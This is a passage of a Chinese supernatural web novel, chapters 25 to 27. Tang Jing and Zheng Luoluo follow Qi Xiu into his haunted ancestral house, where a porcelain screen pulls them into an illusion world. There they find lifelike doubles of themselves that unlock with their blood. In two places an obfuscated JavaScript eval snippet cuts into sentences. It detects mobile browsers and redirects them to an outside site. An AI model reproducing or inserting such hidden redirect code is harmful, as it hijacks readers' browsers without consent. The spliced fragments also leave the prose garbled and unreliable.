“当然不会告诉他了,那位考古界大神也就是随口聊了几句,而且后来齐家那么倒霉,可见再什么风水宝地,也抵不过世事风云。”说到这里,郑落落的语气有点唏嘘。 尘世如潮人如水。 唐镜突然也生出几分感慨来,忍不住喝了一口啤酒,想起昨晚在齐家祖宅的所见所闻,不知道那些诡异的事情,会不会和祖宅下面的古墓有关系。 “落落,你说齐卓宇遇见的那个看不见的女人,会不会和他家宅院下面的梁朝古墓有关?”她的想象力又开始不受控制了。 梁朝的古墓,距今也有将近两千年了,时间跨度也忒大了点,难道说齐卓宇身边那个看不到的女人,是那座古墓里的鬼魂? “什么意思?”郑落落疑惑道。 “嗯嗯嗯,说不定那古墓里埋的是一对恩爱情侣,男的转世投胎,女的因为受了什么诅咒,无法转世投胎做人,到了这一世,男的转生为齐卓宇,恰好就住在古墓上面,说不定触动了什么天机,女鬼出来,找到了齐卓宇,重续前缘……” “停停停,唐镜,你是不是狗血小说看多了?”郑落落笑的都快喘不过气了,赶紧打断她的话。 跟没有想象力的人说话,真是无趣…… 两个人吃吃聊聊,把桌上的菜一扫而光,离开的时候,已经是八点多了。唐镜惦记着明天要早起出门,和郑落落直接回家,洗漱睡觉了。 第二天一大早,齐修的电话就打来了,说已经到小区外面了,唐镜就背了个双肩包,郑落落拉着两个大行李箱,脖子上还挂了个单反,做足了游山玩水的架势。 齐修开着白色越野车,停在小区门口,郑落落坐到副驾驶的位置上,唐镜坐在副驾驶后面,直奔桐留而去。 路上郑落落问起其余几个人是不是在桐留碰面,齐修摇了摇头,说是那几个人临时有事,都去不了了。 唐镜心里咯噔一下,这么说,去齐家老宅的,只有自己和郑落落了? 不过她摸了摸手腕上的银镯,心神安定许多。 等到了桐留,齐修没有进镇上的停车场,而是把车开到山脚下面,到了那条小路跟前的时候,才把车停在一边,从后备箱里取出背包,带着唐镜和郑落落走上小路。 “那就是我家祖宅。”齐修指着小路尽头,山腰处的那片宅子。 “哇,齐修,你家祖宅和电视里的王府有得一比,这么好的地方,好好打理一下,简直就是度假胜地。”郑落落举着单反,对着山腰宅院一顿猛拍。 此时太阳刚刚露头,路边的小草上面挂着晶莹的露珠,山上的树木反射着淡淡的晨光,山腰处的那一片宅院掩映在树木之中,少了几分颓败和神秘,多了几分诗情画意,和晚上所见判若两处。 “祖宅里闹鬼。”齐修微微一笑,“我也就白天偶然来一次,晚上是绝对不敢靠近的。” “什么,闹鬼?”郑落落做了个夸张的表情。 唐镜心里则咯噔一声,齐修竟然会直接说出来,不过转念一想,他越是说的这么直接,没准越让人觉得是开玩笑。 可是她知道,齐修不是在开玩笑。 “如果不是闹鬼,你以为我家的祖宅能保存这么好?当初几十个地痞举着火把,冲进去,想要一把火把这里烧成白地。”齐修淡淡的说,听不出来有什么情绪。 “后来呢,为什么没有烧成?”郑落落有些紧张。 唐镜从伊峰秋那里知道这件事情,可是她不能让齐修看出来什么破绽,也装出好奇紧张的样子,等着听他下文。 “当时有村子里的老人劝阻他们,说不能动宅子,可是他们不听,还把劝阻的老人打了一顿,然后他们去了我家祖宅,就再也没人见过他们了。”齐修说道。 “自作自受。”郑落落看着老宅,不但没有害怕,反而露出向往的神情,加快了脚步,“听你这么一说,我就知道我这趟没白来。” “你不害怕吗?”唐镜忍不住问郑落落。 “这不是大白天嘛,再说了,咱们身边这位,可是齐家的正牌子孙,这是去他家,他家祖宗会保佑他的。” 好吧,这理由听着也能过的去。 齐修微微一笑,没有再说话。 三人走到正门前的时候,齐修从背包里掏出钥匙,上前打开正门的铁锁。 那天唐镜和伊峰秋离开老宅的时候,把正门的锁恢复了原样,以伊峰秋的手段,齐修应该看不出来什么破绽。 唐镜看着齐修缓缓推开大门,不由得屏住了呼吸,大门后面就是那座影壁,以及影壁中间的那只黑猫,齐修会怎么解释黑猫的存在呢? 斑驳的大门打开,灰尘在阳光里翻飞,齐修往后退了一步,伸出手,做出请的姿势。 唐镜看着正对着大门的影壁,迟迟没有迈步。 身边的郑落落拿着相机先拍了张照片,这才疑惑的问:“齐修,老实说,这种老宅子我也去过一些,见过不少影壁,可还是第一次见到影壁上画只黑猫,这有什么典故吗?” 影壁还是那座影壁,只不过影壁的中间,没有那个大洞,自然也不会有一只被锁在洞里的黑猫。 影壁中间,画着一座样式古怪的神龛,神龛里有一只黑猫,像人那样端坐着,两只前爪放在膝上。 就像影壁在岁月里变得辩驳一样,神龛和黑猫的色泽已经黯淡了许多,可是唐镜依然能够看出来,坐在神龛里的黑猫,和那晚上的黑猫长的一模一样。 怎么回事? 如果不是在手机上录下过那只黑猫比划猫爪的情景,她一定会以为那晚黑猫的出现是幻觉。 唐镜不动声色的做了个深呼吸,尽量不要让齐修看出自己有什么异样,跟着郑落落迈进大门,走到影壁跟前。 嘎吱声响起,走在最后的齐修一边关上大门,一边说道:“当初我那小叔祖撞邪以后,他父亲请了不少奇人异士,想看看有没有办法治好小叔祖。家族里留下来的记载,这影壁上的黑猫,是一个大师画的,据说可以辟邪。” “好像没什么用。”郑落落对着黑猫的照片拍了两张,笑道。 唐镜凑到影壁跟前,伸手去摸黑猫的画像,结果摸了一手的灰尘。 齐修拿出一张纸巾递给她:“小叔祖的父亲也是病急乱投医,不过我翻看那时留下来的一些记载,那位大师是在十五月圆之夜,独自一人在影壁上画了这只黑猫,那一晚宅子上空风声大作,明月当空,却不时电闪雷鸣。” “居然有这么古怪的现象?”郑落落和唐镜异口同声道。 只有云层的摩擦才能形成闪电和雷鸣,明月当空的时候,闪电和雷鸣怎么发生? “可惜那时候没有录像机,所以也不知道为什么会有这么奇怪的现象,”齐修耸耸肩膀,“我推测,大宅上空,可能有响声和亮光,被那时的人,当成雷鸣闪电。” “有道理。”唐镜点点头。 “天亮以后,宅子上空才安静下来,这时候宅子里的人才敢走出来,那位大师已经不见了,只留下影壁中间的这幅图案。” “后来呢?”郑落落问道。 “小叔祖那里安静了一段时间,不再自言自语,可却总是坐在窗边,望着外面发呆,任何人都不愿意见。他父母以为那位大师镇压住了邪祟,自然不敢让任何人去动这影壁上的画像。” “这么厉害?贝蓓,你可知道什么地方把猫当成神灵供奉吗?”唐镜心念一动,忍不住问郑落落。 “古埃及有猫神崇拜的习惯,主要是在尼罗河三角洲的地方,传说拉神化成猫,打败了阻止太阳每天升起的巨蛇阿波菲斯,后来,猫就成为了神的化身,那个时候,如果谁无意中杀死了猫,是会被处死的。” 不愧是考古系的高材生,说起这些故纸堆里的事情,如数家珍。 不过怎么又扯到古埃及去了?那只黑猫比划的明明是甲骨文。 唐镜百思不得其解。 齐修继续说道:“大师施法后,效果只持续了三个月,三个月后,小叔祖又故态复萌,显然,那个看不见的女人消失了三个月,又重新出现了。”齐修说道。 “那个大师呢?”唐镜问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16234653|181819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道。 “再也没有出现过,不过也就这个大师的手段起了一点作用,小叔祖的父亲也不敢让人动这影壁上的画像,所以就一直留在了这里。”齐修一边说,一边往院子里面走去。 唐镜看看齐修的背影,再看看影壁上的那只黑猫画像,有一种砸开影壁的冲动,想看看里面到底有没有那只被锁住的黑猫。 不过,这也只是想想,她既不想被人当成疯子,也不想引起齐修的注意。看见齐修和郑落落转到影壁后,她立刻掏出手机,对着影壁拍了张照片,发给伊峰秋,然后赶紧跟上去,快步走到正院。 正院的情形,和那晚看到的一模一样,空落落的院子足有一个篮球场那么大,铺着大块大块的青石板。 石板和石板的缝隙间,长满了到膝盖的野草,有些石板已经四分五裂,裂缝中间都是苔藓。 角落里的石制大鱼缸,围墙下面七零八落的花坛,野草和藤蔓纠结在一起,乱糟糟的攀附在墙上。 也许因为是清晨,淡淡的阳光洒落下来,整个院子虽然依旧是一副颓败荒废模样,却没有晚上看到的那么凄凉。 “齐修,你不如把这大子好好休整休整,弄个客栈,这么有历史气息的地方,就任它荒废,真是浪费。”郑落落一边拍照,一边嘟哝着。 齐修笑而不语。 唐镜一走进院子,自然而然就看向了对面房间的那扇窗户上,那天晚上,这扇窗户角落里的玻璃被她敲碎过。 会不会这块玻璃依然完好存在? 窗户关的严严实实,靠近窗栓地方的几个小格子里的玻璃,确实碎掉了。 唐镜不由自主松了口气,毕竟,在这个房子里经历的一切,给她留下的印象实在是太深了,如果那些玻璃还是完整的,也许她真的会抓狂。 就在这时候,她突然感觉到有人在看我,头一侧,看到齐修注视着自己,两人目光对上后,他并没有避开,反而微微一笑。 唐镜心里一个咯噔,不知道是不是心虚的缘故,总觉得齐修的笑容有点意味深长,不过她尽量装作若无其事的样子,指着那扇窗户说道:“你看,那些玻璃都碎了。” 齐修笑笑,还没说话,郑落落开口说道:“这种年久失修的房子,玻璃碎掉有什么奇怪的。” “确实有些奇怪,我记得上次来,这里的玻璃还是好好的,难道有人闯进来过?”齐修一边说,一边走向那扇窗户。 “你上次什么时候来的?”郑落落问道。 “半个月前。” 齐修走到窗户跟前,俯身查看。 “这么大的宅子,又没人看守,没人进来才奇怪,喂,齐修,你家祖宅里是不是藏了什么宝贝,有人进来挖宝了?”郑落落半开玩笑半认真的说。 “看来是有人进来过了,”齐修直起身体,脸上看不出什么表情,“自从这宅子闹鬼的消息传出去以后,敢来这里的人寥寥无几。” “那你赶紧看看,有没有丢什么东西?” 齐修摇摇头:“这宅子里没什么值钱的东西。” 唐镜思忖着,没什么值钱的东西?齐卓宇房间里的那些摆设,随便拿出一件都能在市中心买套小房子。 “咦,屋子里面有架屏风喔。”郑落落把眼睛凑到没了玻璃的窗格子上,往里看去。 “这屏风倒是有点来历,”齐修一边说,一边往正门走去,“也颇有些古怪之处,等下你们看完以后,考考你们,能不能发现哪里古怪。” 听齐修提到屏风,唐镜心里咯噔一下,不由自主的摸了摸手腕上的镯子,这会不会是一个圈套? 他会不会利用屏风诱使自己和郑落落进入幻境? 唐镜暗暗决定,如果发现有什么不对,立刻就把齐修打晕。她上前一步,走到郑落落前面,看着齐修把门推开,紧跟着他进了房间。 整个房间依然如那晚一样,空空荡荡,只摆着那架瓷质屏风。 虽然唐镜已经做了足够的心理准备,可是再看到这架屏风的时候,手指依然不由自主的开始发抖。 她微微侧了头,用眼角余光瞥向屏风,尽量不直视它。 这一瞥之下,顿时发现屏风上有些不对劲。 那晚她和伊峰秋离开这间屋子的时候,屏风上的墨痕流动到屏风底部后消失,整个瓷质屏风变成了一片空白,再无一丝墨迹。 可是现在,这架本应是空白的屏风,上面重新出现了一幅完整的画,是由淡墨勾勒出的山峰、天空、原野。 山峰在原野上拔地而起,直冲天际,气势恢宏,宛如一把插在天地间的利刃。 这不是她和伊峰秋看到的那幅画,那晚刚进房间时,看到的虽然也是淡墨勾勒出来的山水画,可是山峰俊秀,流水宛然,小桥人家,是典型的江南风景。 而现在看到的画,凌厉阔大,一派大漠孤烟的北国风光。 这时候,郑落落已经转过来,一看到屏风,就举起了相机,正要拍照,不料齐修却伸出手,挡住了镜头。 “别拍。” “为什么?”郑落落放下相机,有些疑惑的问齐修。 “如果你拍了照片,从此以后你就会被噩梦纠缠,夜夜不得安宁。”齐修的神情没有变化,但是语气却非常认真。 郑落落打了个哆嗦,抿了抿嘴唇,很听话的放下了相机,天下之大,无奇不有,齐修既然说的这么认真,必然有其道理。 “能讲讲这架屏风的古怪之处吗?”唐镜拉了拉郑落落,让她站在自己侧面,尽量让她不要和屏风面对面。 虽然到现在,屏风上的墨痕并没有像那晚那样发生变化,可唐镜还是保持着警觉,手指轻轻按着镯子上麻醉针的按钮,针孔方向对准齐修,以防有什么变故。 “看到这架屏风上的画没有?”齐修指着屏风,“所有的画都是用眼睛去看的,可是这幅画,却要去聆听。” “什么意思?”郑落落一边问,一边侧头去看屏风。 唐镜摸不清齐修的意思,又怕郑落落盯着屏风看会出意外,赶紧上前一步,挡住她的视线。 “唐镜,你别挡着我。”郑落落不满的嚷着,从身后转过来,索性走到屏风跟前,盯着屏风看了又看。 唐镜后背上冒出了一层汗,可是表面却又要装作若无其事的样子,用力拉了她一下:“你先听齐修说完,急什么,说不定看多了,你会做噩梦。” 对郑落落来说,做噩梦确实是她最害怕的事,立刻转过头不再看屏风:“齐修,你倒是说说清楚啊,什么聆听?” 齐修并的目光一直停留在屏风上:“因为这幅画,你要用耳朵去听才行。” 26. 第 26 章 用耳朵去听? 唐镜和郑落落对视一眼,同时在对方眼里看到了迷惑和茫然。 一幅画,不用眼睛看,而用耳朵听? 没听错吧? “闭上眼睛,用心去听,你就会听到。”齐修的语气很认真。 唐镜看见郑落落闭上了眼睛,本来还有些迟疑,可是想到来这里的目的,就是为了弄清楚那些奇怪的事情,她也闭上了眼睛。 只是在闭上眼睛之前,她拉住了郑落落的手。 她听到,风在呼啸。 她听到,原野上的野草在风中簌簌作响。 她甚至能听到,夹杂在风声中,隐隐的马嘶狼嚎。 仿佛站在北方辽阔的荒野上,数千米高的山峰拔地而起,如一把利剑,直指天空。 心里忽然有一种很不安的感觉,唐镜忍不住睁开眼睛,天上是万里晴空,天蓝如洗,前方风吹草低,茫茫原野,而她就站在千米高峰的脚下。 自己进入幻境中了! 大概是因为有过一次进入幻境的经历,所以唐镜并没有太慌乱,郑落落站在旁边,还闭着眼睛,脸上神情又是惊讶又是迷惑。 齐修也站在旁边,正侧头微笑,深邃的眸子,变得异常幽黑。 “这是怎么回事?”唐镜问齐修,语气尽量平静。 “我们都在画中,唐镜,你好像一点都不害怕,也不惊讶。”齐修走到近前,凝视着她的眼睛。 “我自幼修习传统武术,又练过冥想,也入过定境,齐修,你把我和落落引到幻境里来,到底想做什么?”唐镜视线偏了偏,避开齐修的目光,虽然她练习过收摄心神之类的功法,可也只学了个皮毛,应该不会是齐修的对手。 不过她有一种感觉,齐修似乎并没有什么恶意。 “放心,我不会伤害你和落落的,我只是想带你们到这里看看。走吧,时间很紧,我们还要爬到那山峰顶上。” 齐修轻轻拍了拍郑落落的肩膀,郑落落睁开眼睛,看了看唐镜,又看了看周围的景象,一脸茫然。 “我是在做梦吗?”她又闭上眼睛,抱住头,呻吟了一下。 “我们是在幻境里,这个很难解释,你就当自己是在做梦吧。”唐镜用力握了一下郑落落的手,食指偷偷在她的手背上写了几个字。 “好吧,反正我现在相信这个世界上什么都会发生,既然梦里面有你俩在,也挺好的。”郑落落睁开眼睛,左右张望了一番,立刻满血复活。 “我们现在要爬到山顶上去。”齐修当先往山峰的方向走去。 “有没有搞错?这山峰这么陡峭,我们就算爬到天黑,也未必能爬上去啊?齐修,你就不能让我们直接移到山顶上吗?”郑落落不满的嚷道。 “我又不是神仙,再说了,这个幻境又不是我带你们进来的,是那架屏风把我们三个人带进来的。”齐修一边走一边说。 “你以前来过这里?”郑落落问道,跟着齐修的脚步。 “这是第二次,几年前,我来老宅,无意中发现这架屏风有问题,然后就被摄入到这幻境里,发现了一些事情。” 唐镜停下脚步:“齐修,你是故意把我和郑落落带到这里来的,对吗?” “你说对了。”齐修也停下脚步,回头微笑,“因为我进入这个幻境后,知道要找到两个女人,才能再次进入这个幻境,就好像是这架屏风布置给我的任务一样。” “这两个女人,就是我和落落?” “对!” 可想而知,齐修这番话对唐镜和郑落落造成的冲击力。 唐镜还能保持冷静,可是郑落落这种火爆性子,哪里能忍得住,小拳头一握,上前一步,对着齐修挥动起来:“齐修,你今天不给我说清楚,信不信我打的你满地找牙?” 齐修笑容不变:“与其让我说,不如你们亲眼去看,亲眼看到的,更有说服力,不是吗?” 郑落落对着齐修的鼻子就是一拳,她练过武术,也跟着健身房的教练断断续续学了几年搏击,这一拳打过去,倒也有模有样。 可惜只是有模有样,齐修只是抬了抬手,像拂开一只蚊子似的,轻描淡写就把郑落落的拳头拂到了一边。 郑落落大概是用力过猛,重心没有稳住,一个踉跄,往前摔过去,正撞到齐修身上。 齐修伸臂扶住她,摇摇头微笑道:“贝蓓,亏你还自称武术发烧友,几年练下来,性子还是这么急躁。” 郑落落推开齐修的手臂,满脸不服气的表情,又握拳想打,唐镜一把拉住她,对她摇了摇头:“别冲动,这里是幻境,亦真亦幻,你何必浪费力气。” “唐镜说的对,把力气留着爬山用吧,等到了山顶,你们就明白了。”齐修淡淡的说,不再理会两人,转身往山的方向走去。 唐镜和郑落落默不作声,跟在他身后,只是跟他拉开了两米多远的距离。 很快一行三人就到了山脚,发现在险峻的山坡上,有一条光滑的甬道。这甬道很奇怪,就好像是被巨人用一个铲子,从山顶一铲铲到了山脚。 不过虽然有甬道,但是要爬到山顶,也不是那么容易,因为这条甬道实在是太陡了,近乎七十度的坡度,供踩脚的地方只是浅浅的一个凹窝罢了,必须要攀着两边林立的乱石,手脚并用才行。 好在三个人都身手敏捷,齐修在前,郑落落在中间,唐镜殿后,三个人攀着石头,一路往上爬去。 每隔两个小时,他们就会爬到甬道边的大石头上,找个地方歇歇。齐修准备了水、牛肉干和能量棒,歇息的时候,就吃一点补充体力。 当然,唐镜也不明白,为什么明明是幻境,可是身体的感觉却又和真实世界里一模一样,难道这个时空里的自己,并不仅仅只是意识形式的存在? 太阳西斜的时候,三个人总算攀到了峰顶。 山顶的风更大,在耳边呼啸而过,吹的人摇摇晃晃,晚霞在天空里燃烧,给大地涂抹了一层淡淡的血色。 峰顶是一块巨大的石坪,足有两个足球场那么大,地面被风吹得一尘不染,光滑的像是打磨过。 这块石坪给人一种错觉,好像是有人用一把斧子把整个峰顶削去,留下这么大、这么光滑的断口。 青黑色的石头地面上,布满暗红色、曲里拐弯的花纹,像是熔岩流过后又凝固的痕迹。 整个峰顶,暗沉而肃穆,人站在石坪上,像是一粒尘埃,不由自主心生畏惧。 齐修站在石坪边上,凝望着石坪中央,唐镜和郑落落的目光也跟着看过去,一看之下,我屏住了呼吸,而郑落落则惊叫了一声。 石坪中央,有一张圆台,两只圆凳,都是青黑色的,和地面石头颜色一模一样,而且是和地面连成一个整体,整个石坪就像是圆台和圆凳的底座。 当然,若只是圆台和圆凳,并不足以让唐镜和郑落落如此惊讶。 让她俩无法置信的是,那圆凳上分别坐着两个女人,虽然隔得很远,看不清面容,但是光那模模糊糊的身形和面容,就能一眼认出,这两个女人,同唐镜和郑落落一模一样! 唐镜和郑落落僵在当地,一动不动,呆呆看着那两个女人,呼吸仿佛都变得困难起来。 也不知道过了多久,我俩才回过神来,互相对视一眼,唐镜还站在原地,郑落落就已经拔腿向圆台和圆凳跑去。 齐修也没有动,站在一旁,脸上没什么表情。 唐镜凝视着那张圆台和两只圆凳,脑海里却浮现出在齐卓宇的那进院子里,看到的那套石桌和圆凳。 除了颜色不一样,齐卓宇院子里的石桌和石凳,都是白色的,而这里的是青黑色的,剩下的不管是形状还是大小都一模一样。 那么,这张石桌和石凳,会不会也被无形的罩子罩住了? 郑落落的反应很快验证了唐镜的猜想。 她在距离石凳还有半米远的地方,重重撞了一下,往后弹开,踉跄了几步,才站稳身体。 她惊疑不定的伸手向前,前方看似空无一物,可是她的手却怎么也无法前进一寸。 果然,这圆桌和石凳,也是被一层无形的罩子隔离开来了! 唐镜定了定心神,这才迈步往前走去,齐修跟在她身侧,一边走,一边低声说:“见到这样的景象,你居然还这么冷静,真是让我很好奇,能告诉我为什么吗?” “其实我不是冷静,而是迟钝。”唐镜头也不回,随口说道。 耳边传来齐修低低的笑声,笑声里面带着一点嘲弄,也带着一点意味深长。 不过她懒得去琢磨他的想法,你要玩莫测高深,我就给你装傻到底,谁怕谁啊。 唐镜走到郑落落身边,见她双手用力按着那层无形的罩子,眼睛瞪的极大,盯着里面的两个女人,额头上汗珠滚滚而下:“这到底是怎么回事?” 在这么近的距离,终于看清楚,石凳上的两个女人只是和真人一模一样的蜡像。 坐在左边的女人和唐镜长的一模一样,坐在右边的女人,则和郑落落长的一模一样。 不过仔细看过去,就会发现,这两个女人的五官容貌虽然和她俩一样,但是神情气质却截然不同,有一种难以描述的冷峭和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16234654|181819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凌厉之感。 就好像脚下的这座山峰,在原野中拔地而起,如大地向苍天挥出的一柄利刃,而这两个女人,就是利刃上的锋芒。 蜡像还有一点很奇怪,那就是她们的头发,长而柔顺,闪着光泽,绝对是真人的头发,发梢从肩膀垂落下来,散在桌面上。 “现在你们明白了,我为什么要找到你们两个了吧?”齐修的声音变得有些低沉,夹杂着一丝兴奋。 “这到底是哪里?”唐镜盯着齐修的眼睛,尽量保持着镇定。 “这是所谓的幻境,或者我们可以换一种说法,这是另外一个时空,在同一个时间坐标上,却隶属于不同的空间。那扇屏风,就是进入这个时空的大门。” “多维空间?平行宇宙?“唐镜搜刮着脑海里的记忆,费力回想着看过的科幻小说、科幻电影里的名词,想要弄清楚现在的状况。 “这么解释也可以勉强说的过去,举个例子吧,譬如我们生活的那个空间,就好像宇宙中的一台服务器,现在,我们通过网络通道,进入了另外一台服务器。“ 齐修这么说,唐镜和郑落落倒是一下就明白了。 同时,俩人却又更糊涂了。 “穿越了?”郑落落喃喃说道。 “我们先不要纠结这个问题了,当务之急,是要能找出这两个女人和你们两个之间的关系。”齐修指了指坐在凳子上的两个蜡像。 蜡像栩栩如生,唐镜盯着那个五官和自己一模一样的女人,她的装束很奇怪,穿着黑色紧身衣,系着一条金色的腰带,腰带中间镶嵌着一颗拇指大小的黑宝石。 她坐在圆凳上,腰身挺得笔直,下巴抬高,眉头微微蹙起,眼睛半睁半闭,似乎正在思考什么。 她的两只手垂落在身体两侧,在青黑色的桌面的衬托下,手的皮肤就像牛奶一般白皙润滑,修长的手指微微屈起。 唐镜有一种奇怪的感觉,她手指的姿势,就好像在敲击什么。 而另外一个和郑落落长的一模一样的女人,则穿着同样黑色的紧身衣,只是腰间系着的是一条银色的腰带,腰带中间镶嵌的宝石是深蓝色。 她也是同样腰身挺直,双臂垂落体侧,神情显得有点紧张。 唐镜和郑落落的双手都按在那层无形的罩子上,她不知道郑落落是什么感觉,但她觉得有种莫名的熟悉感,同时大脑里面有一处地方隐隐作痛。 “她们是谁?”唐镜做了个深呼吸,强行无视大脑那种隐隐作痛感,缓缓问道。 齐修摊开双手,耸耸肩膀:“这也正是我想弄清楚的地方。” “她们很酷,你说,她会不会是哪个国家的秘密特工,被人追杀,生下我以后,为了我的安全,把我送给了现在的父母抚养,她独自逃亡?”郑落落看着罩子里的女人,喃喃说道。 唐镜觉得,她多半最近看了不少狗血小说。 “你既然把我和落落带到了这个地方,肯定不会只让我们看看她们吧?”唐镜对齐修说。 “你们在这里,也许能打开这个无形的罩子。”齐修走过来,蹲在地上,用手指了指地面,目测应该是无形罩子和地面结合的地方。 青黑色的石头上,有两个凹陷的手掌印,看形状,两个都是右手,应该是两个人留下的掌印。 这两个手掌印不像是刻上去的,倒像是青黑色的石头融化时,两个手掌同时按下去,留下的印痕,凹陷的石面里,掌纹和指纹栩栩如生。 “这只手的掌纹和指纹,和落落的右手一模一样。”齐修说道,随即抬头看向唐镜,“那只右手手指的指纹,也和你的右手一模一样。” 唐镜不需要问齐修,他是怎么拿到自己的指纹的,那天去聚真阁喝茶,她用的茶杯,事后一定被他拿去提出指纹了。 至于郑落落的指纹和掌纹,他想拿到更是轻而易举。 “你觉得,我和郑落落同时把手按在这个掌印里,就能打开这个无形的罩子?”唐镜蹲下来,把手放在那个掌印里,果然纹丝密合。 齐修苦笑:“我倒是希望就这么简单。” 郑落落也蹲了下来,学着唐镜的样子,把右手缓缓放在掌印里,也是纹丝密合。 就好像,这两个掌印是她俩留下的一样。 据说,这世界上,不可能有两个人有一模一样的指纹,可是很显然,她的指纹和这个掌印上的指纹一模一样。 这个掌印不可能是唐镜留下的,那么,就是罩子里的那个女人留下的。 为什么会这样? 唐镜和郑落落对视一眼,等了半晌,什么都没发生…… 27. 第 27 章 齐修的目光一直停留在唐镜和郑落落的手上,眉毛微微皱起,很显然,把手按在掌印里,并不能如他想象的那样,出现什么变化。 郑落落显然有些不耐烦了,抬起手来,随后又重重往那掌印里一拍:“这TMD到底是怎么回事!哎呦……”” 她倒吸一口凉气,想要把手从掌印里抬起来,却无法动弹,而且从她的指缝间,鲜血缓缓渗出。 “下面有有什么东西刺破了我的手指,啊,我的手被黏住了。”郑落落一边拼命想把手抽回来,一边叫嚷起来。 就在这时候,无形罩子里面,那个和郑落落长的一模一样的蜡像,突然连着身下的石凳,转了个身,同时,罩子和地面连接的地方,闪动起一道银白色的光。 “落落,别动!”齐修按住郑落落的肩膀,眼睛死死盯着那道银白色的光。 银白色的光像一道电光,游走在罩子和地面连接的边缘,可是却再没有任何动静。 “不仅要你们的指纹,还要你们的鲜血,应该是通过你们的基因来解锁!”齐修转向唐镜,“你像落落那样用力拍下去!” 唐镜也被眼前的景象惊住了,当下不假思索,抬起右手随即重重拍下去。 五个手指的指肚瞬间刺痛,鲜血流出来,她却感觉不到痛,只瞪大眼睛看着罩子里面,那个和她长的一模一样的蜡像,也连着圆凳转了过来,变成了和唐镜面对面。 与此同时,罩子和地面连接的地方,闪动起一道黑色的光。 银白色和黑色的光交织在一起,游走在罩子和地面连接的地方,就像是两条细细的,不停游走的蛇。 下一个瞬间,那个圆台缓缓向上浮起来,地面上露出一个黑黝黝的大洞。 一种无法比拟的酥麻感掠过唐镜的身体,就好像被电了一下,她还没反应过来,就发现那游走的银白和黑色的两道光,已经向远处扩散开来。 就好像水面中心荡起一圈水纹,迅速向远方扩大。 这时候,唐镜看见齐修伸出手,轻轻放在郑落落模样的蜡像肩膀上。 她第一个反应是,那无形的罩子不见了! 但是随即她看见,那银白色和黑色的两道光,停在了远处,她立刻反应过来,不是罩子不见了,而是这无形的罩子瞬间扩大很多倍,把三个人都装进了罩子里! 这样古怪的情形,完全超出她的理解能力。 可是现在唐镜无暇去想这些了,下意识的一抬手,右手居然很轻松离开掌印,与此同时,五个手指指肚上被戳破的地方,以肉眼可见的速度迅速愈合,皮肤上没有任何痕迹。 郑落落也已经抬起了手,看着恢复到完好无损的手指怔了怔。 齐修的手,一直放在蜡像的肩膀上,眸子闪动着光泽,兴奋中却带着一丝迷惑:“她们不是蜡像!” 唐镜和郑落落同时伸出手去,只不过我摸的是那个自己模样的蜡像的手,郑落落摸的是另外一个的手。 触手之处,温暖滑腻,哪里是蜡像,分明是人的皮肤! 她们不是蜡像,是真人,皮肤上还有体温,可是却又绝对不是活人…… 唐镜凝视着眼前这张和我一模一样的脸,她的眸子就像黑宝石,镶嵌在洁净的水晶里,虽然凝固不动,却依然有一种居高临下的威慑感。 她身上散发着血与火的气息,那是一种曾在生死边缘走过的战士才有的独特气息。 “她们,应该是战士吧。”唐镜喃喃的说。 “而且,肯定不会是普通战士,我觉得,她们身上有一种特别的大将之风。”齐修说道。 “她们现在这种状态,很奇怪,绝对不是活人,可是也肯定不是死人,也绝对不是什么蜡像。”郑落落说道。 唐镜有一种感觉,像是时间突然静止,这两个人,就停留在这种被瞬间定住的情形中,所以,她们既不是死人也不是活人,而是介于一种无法理解的生命状态中。 很显然,郑落落和齐修也有这样的感觉,唐镜说出自己的想法后,齐修虽然不置可否,但是眼里却闪过一丝了然,郑落落则点了点头。 “我们下去看看,里面是什么?”郑落落的目光转向圆桌下面的那个大洞,虽然是询问的语气,可是看她的表情,显然已经跃跃欲试。 唐镜往洞口看去,目光所及,只见一片漆黑,隐约看到洞口的台阶一直延伸到无边无际的黑暗中。 齐修从背包里拿出一支手电筒,拧亮后往洞口下方照去。 手电筒的光线在黑暗中显得非常细弱,只能看到向下一直延伸的台阶,完全刺不穿那浓厚到化不开的幽黑。 虽然好奇心在不停翻涌,可唐镜还是对郑落落摇了摇头:“不能这么贸然下去,我们没有足够的准备。” “难道你不想知道下面是什么吗?”郑落落的眼里闪动着狂热。 齐修站在那里,一直凝视着洞口,并没有发表意见。 “我很想知道下面是什么,可是如果没有完全准备,我是不会轻举妄动的,我还想活得久一点。落落,别冲动。”唐镜一边说,一边拉起郑落落的手,往后退了几步,同时垂下手腕,手指按住手镯。 在这种情况下,如果齐修也坚持要下去,到时候她未必能劝阻的了他们两个人,那她就只好先对齐修动手了。 齐修并没有说话,一直站在洞口,拿着手电筒往里面照去。 “我真想下去看看。”郑落落伏在唐镜耳边,低声说。 “我们会有机会下去的,不过不是这次。”唐镜说道。 就在这时候,齐修突然盘坐在洞口,把手电筒放到一边,双手结了一个手印,闭上了眼睛。 唐镜心中一动,他为什么要进入冥想状态,是想感受到什么讯息吗? 要知道,在冥想状态里,人的脑波会有一定的变化,这个时候,可以接受到平时感觉不到的一些信号。 唐镜拉着郑落落,在离齐修稍远一点的地方盘坐下来。 她接受过武术的冥想训练,又从小学习传统武术,很快就收摄心神,随着呼吸的放缓,整个人进入了空灵状态。 唐镜虽然闭着眼睛,可是她能感觉到周围一切事物的存在,那是一种语言很难描述的状态。 